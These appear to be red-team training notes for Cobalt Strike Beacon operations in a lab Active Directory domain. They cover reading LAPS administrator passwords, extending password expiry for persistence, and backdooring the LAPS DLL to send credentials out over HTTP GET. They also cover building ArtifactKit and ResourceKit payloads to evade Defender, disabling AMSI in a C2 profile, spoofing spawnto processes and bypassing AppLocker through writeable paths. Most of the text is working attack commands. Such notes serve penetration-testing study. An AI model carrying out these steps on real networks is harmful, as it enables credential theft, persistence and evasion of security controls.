Local Administrator Password Solution (LAPS)

identify LAPS

If your computer is using LAPS there should be a C:\Program Files\LAPS\CSE\AdmPwd.dll.

# search for GPOs with laps in their name
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
 
# search for computers where the LAPS timer is set
beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

After we found the GPO we can get the LAPS-Configuration from the DC:

beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
 
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
 
# get laps admin account
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
 
# get LAPS useraccount
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol

Discover which principals are allowed to read the LAPS attribute:

beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
 
# again, convert SID into human readable names
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107

automated tooling is available:

beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
beacon> powershell Find-LAPSDelegatedGroups
beacon> powershell find-AdmPwdExtendedRights

read admin password through LAPS

if we have a user that can read laps:

beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
 
# impersonate the admin user
beacon> make_token .\LapsAdmin 1N3FyjJR5L18za

set expiration time far in the future

Typically the LAPS password is cycled over after 30 days. If we are able to compromise a computer we can update the time into the future (form of persistence)

# get expiration time
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
 
# set expirateion time in the far future
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose

you can add a LAPS backdoor by fixing a DLL

  • if Get-AdmPwdPassword is in use, placed inc:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\
  • download AdmPwd.PS.dll and AdmPwd.Utils.dll
    • add HTTP GET call with credentials within GetPassword

Microsoft Defender Antivirus

Different kinds of detections:

  1. on-disk
  2. in-memory
  3. behavioural

file-based detection

Use ArtifactKit to bypass protection, in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact

/mnt/c/Tools/cobaltstrike/artifact/build.sh pipe VirtualAlloc 277492 5 false false /mnt/c/Tools/cobaltstrike/artifacts
  • use cobalt strike > script manager > Load and select the CNA
  • use payloads > windows stageless generate all payloads

memory-based detection (ASMI)

again check for bad strings:

PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e AMSI

Use ResourceKit to bypass:

  • C:\Tools\cobaltstrike\arsenal-kit\kits\resource
./build.sh /mnt/c/Tools/cobaltstrike/resources
  • use cobalt strike > script manager > load and select the CNA
  • regenerate payloads

AMSI vs. post-exploitation

Other commands can also be influenced by AMSI: powershell, powerpick, execute-assembly

beacon> remote-exec winrm fs Get-MpThreatDetection

In this case, the Beacon payload spawned powershell.exe and attempted to load PowerView.ps1 into it.  This was detected by AMSI and killed.  Defender also goes one step further and kills the process that spawned it (our Beacon), which is why we immediately lose the link to it.

modify configuraton on team server

attacker@ubuntu ~/cobaltstrike> vim c2-profiles/normal/webbug.profile

Right above the http-get block, add the following:

post-ex {
        set amsi_disable "true";
}

and verify configuration:

attacker@ubuntu ~/cobaltstrike> ./c2lint c2-profiles/normal/webbug.profile

 amsi_disable only applies to powerpick, execute-assembly and psinject.  It does not apply to the powershell command.  

Behavioral Detection

beacon> spawnto x64 %windir%\sysnative\dllhost.exe
beacon> spawnto x86 %windir%\syswow64\dllhost.exe
# this will show our own process name
beacon> powerpick Get-Process -Id $pid | select ProcessName
 
# now this should work without triggering AMSI
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain
 
# reset back to defaultS
beacon> spawnto
 
# this changes the spawnto used by psexec
beacon> ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
beacon> ak-settings spawnto_x86 C:\Windows\SysWOW64\dllhost.exe

you con configure this in the c2 profile

post-ex {
        set amsi_disable "true";

        set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
        set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}

App-Locker

AppLocker is an application whitelisting technology that is built into the Windows Operating System.  Its purpose is to restrict applications and scripts that are allowed to run on a machine, defined through a set of policies which are pushed via GPO.  Rules can be based on file attributes such as publisher, name, version, hash or path; they can be to “allow” or deny”; and can be assigned on an individual user or group basis.

AppLocker will also change the PowerShell Language Mode from FullLanguage to ConstrainedLanguage.  This restricts the .NET types that can be used, preventing Add-Type with any arbitrary C# as well as New-Object on types that are not specifically permitted.

analyse applocker policy

beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
 
beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol

Policies are within ValueData fields

You can get the enforcement mode out of the local registry:

PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"
 
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"

You can chekc the language mode through powershell:

PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode

writeable paths

The default rules allow execution from anywhere within C:\Program Files and C:\Windows (including subdirectories). If you’re on a protected machine as a standard user, there are several directories within C:\Windows that are writeable.

beacon> powershell Get-Acl C:\Windows\Tasks | fl

write binaries there. Otherwise use lolbas

  • example with MSBuild

get out of Constricted Language Mode?

beacon> powerpick $ExecutionContext.SessionState.LanguageMode

You can do this with msbuild and c# too (see slides)